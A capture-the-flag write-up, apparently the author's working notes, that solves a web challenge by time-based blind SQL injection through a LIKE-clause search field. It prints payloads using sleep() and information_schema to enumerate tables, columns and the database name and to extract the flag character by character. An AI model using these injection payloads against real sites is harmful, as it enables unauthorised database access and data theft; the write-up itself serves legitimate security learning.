---- Writeup ----CTF: BACKDOOR 2014Problem: web-50Author: Dr.OptixAll rights reserved.NOTE: Another solution proof made directly from the notes I took while solving-----------------This problem starts at:http://backdoor.cognizance.org.in/problems/web50/search.phpAt the first look it seems to be a SQL injection problem.The source disclosed nothing usefull.I was unable to cause an error using ' or " as bad injections. Instead I injected %%%. Because it is doing a search behind the scene I tought I could make it spit out everything that can be found.I got this:Quote    SpeakerUse the Force, Luke.    Obi-Wan KenobiDo… or do not. There is no try.    Master YodaI find your lack of faith disturbing.    Darth VaderFear is the path to the dark side. Fear leads to anger. Anger leads to hate. Hate leads to suffering.    Master YodaYou’ve never heard of the Millennium Falcon? … It’s the ship that made the Kessel run in less than 12 parsecs.    Han SoloAAARARRRGWWWH.    ChewbaccaIn the source I found this after all:    class="table table-striped">This makes me think I have only a part of the table. Also I have to do with aLIKE clause SQL injection.I should treat the query as something like this:    SELECT column1, column2    FROM table1    WHERE column1 like '%' + @column1 + '%'I will take a break from this for now.Back on this one. I will try to bypass LIKE clause on local host first.    CREATE TABLE mytable(       id INT NOT NULL AUTO_INCREMENT,       info VARCHAR(100) NOT NULL,       PRIMARY KEY ( id )    );I found a valid payload construction:    search=a%' and 1=1 and '%'='On local I found a building block like this one:    select table_name from (select table_name from     information_schema.tables where table_schema=database()) b where     table_name like "m%" and sleep(5)I'm starting to get fustrated. Maybe I should go with sqlmap. Not yet tho.I found the correct building block:    %%%' and (select table_name from information_schema.tables where     table_schema=database() and table_name like "m%" and sleep(2)) and     '%'='Complete payload schema:    search=%%%' and (select table_name from information_schema.tables     where table_schema=database() and table_name like "the_f%" and sleep    (2)) and '%'='Potential table names obtained with the above payload schema:    qu    the_flag_is_over_hereI found the table "the_flag_is_over_here", by hand. Now I have to extract it's columns.To find column names I have to use information_schema.columns. To get the columns of a particular table I have to use:select column_name from information_schema.columns where table_name="mytable";Now I have to use that with the payload building block.I have an idea how to find the column number for the "the_flag_is_over_here" table. Using this:    select * from (select count(*) as count from     information_schema.columns where     table_name="mytable") t where t.count = 1 and sleep(2);The new payload looks like this:    %%%' and (select * from (select count(*) as count from         information_schema.columns where table_name="mytable") t where     t.count = 2 and sleep(2)) and '%'='As expected the table has one column, probably with the name of "flag".To make sure of the name I should use information_schema.columns to get at least the first and the second letters from the column name.New payload for finding column name or at least a few letters.First letter is "t".Last letter is "e".For easy manual search the new payload is:    search=%%%' and (select c from (select column_name as c from         information_schema.columns where table_name="the_flag_is_over_here"     limit 1) t where c like concat("t", char(1),"%") and sleep(5)) and     '%'='Potential name: tw..ePotential name: tw..ePotential name: twi..ePotential name: twisted..ePotential name: twisted_b..ePotential name: twisted..ePotential name: twisted_..ePotential name: twisted_..amePotential name: twisted_..namePotential name: twisted_namePotential name: twisted_column_nameBingo! That's the column name.Payload that will demonstrate this is the column name:    search=%%%' and (select c from (select column_name as c from         information_schema.columns where table_name="the_flag_is_over_here"     limit 1) t where c like concat("twisted_column_name") and sleep(5))     and '%'='Now let's extract the info.Damit i need the database name. Maybe I can concat it.Payload building block for database name extraction:    search=%%%' and (select c from (select table_schema as c from     information_schema.tables where table_name="the_flag_is_over_here"     limit 1) t where c like concat("s", char(97), "%") and sleep(5)) and     '%'='Database name: sqli_dbPayload building block for flag extraction:    search=%%%' and (select twisted_column_name from     sqli_db.the_flag_is_over_here where twisted_column_name like concat    ("", char(51),"%") and sleep(5)) and '%'='Partial flag: D 5 A B | A F 3 9 | 1 F 7 B | C 7 E 7 |Extracted flag:D 5 A B | A F 3 9 | 1 F 7 B | C 7 E 7 |C D A 8 | C 1 2 8 | E 5 C A | 3 1 8 7Confirmation:    search=%%%' and (select twisted_column_name from     sqli_db.the_flag_is_over_here where twisted_column_name =     "D5ABAF391F7BC7E7CDA8C128E5CA3187" and sleep(5)) and '%'='The flag is: D5ABAF391F7BC7E7CDA8C128E5CA3187~ Q.E.D